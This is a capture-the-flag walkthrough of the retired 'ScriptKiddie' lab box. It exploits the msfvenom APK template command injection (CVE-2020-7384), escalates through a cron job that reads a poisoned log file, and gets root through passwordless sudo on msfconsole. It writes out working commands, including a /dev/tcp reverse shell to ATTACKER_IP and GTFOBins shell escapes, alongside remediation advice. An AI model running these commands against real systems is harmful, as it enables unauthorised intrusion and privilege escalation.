ScriptKiddie
Summary
I discovered a Python web application on a non-standard port that wraps Metasploit's payload generator without sanitising user-supplied filenames. By uploading a specially crafted Android APK, I injected an OS command into the application's msfvenom invocation (CVE-2020-7384), gaining a shell as the low-privilege user 'kid'.
From there, a cron job belonging to a second local user ('pwn') periodically processed a log file that 'kid' could freely overwrite; by poisoning that file with an injected shell command, I pivoted to 'pwn'. Finally, 'pwn' held unrestricted, passwordless sudo rights over msfconsole, which exposes a built-in Ruby interpreter I used to spawn an interactive root shell.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p- --min-rate 2000 -T4 $TARGETcurl -s -i http://$TARGET:5000/Exact commands 1
searchsploit msfvenom apk templateFixRemove or harden the unauthenticated msfvenom web wrapperCritical
Exact commands 2
msfconsole -q -x "use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection; set payload cmd/unix/reverse_bash; set LHOST $ATTACKER_IP; set LPORT 4444; set FILENAME /tmp/msf.apk; run; exit"nc -lvnp 4444Exact commands 2
curl -sS --max-time 20 -X POST http://$TARGET:5000/ -F 'action=generate' -F 'os=android' -F "lhost=$ATTACKER_IP" -F 'template=@/tmp/msf.apk;filename=msf.apk'id; whoami; hostname; pwdExact commands 3
ls -la /home/kid/logs/hackerscat /home/pwn/recon.shcrontab -l; cat /etc/crontab; ls /etc/cron.d/FixFix the cron job to prevent command injection through a user-writable log fileHigh
Exact commands 2
echo 'xxx xxx $ATTACKER_IP; bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1" #' >> /home/kid/logs/hackersnc -lvnp 4445Exact commands 4
sudo -lsudo msfconsole -q -x 'irb'system("/bin/bash")id; cat /root/root.txtFixRemove unrestricted sudo rights to msfconsole and interpreter-class binariesCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 5000/tcp | http Werkzeug httpd 0.16.1 (Python 3.8.5) |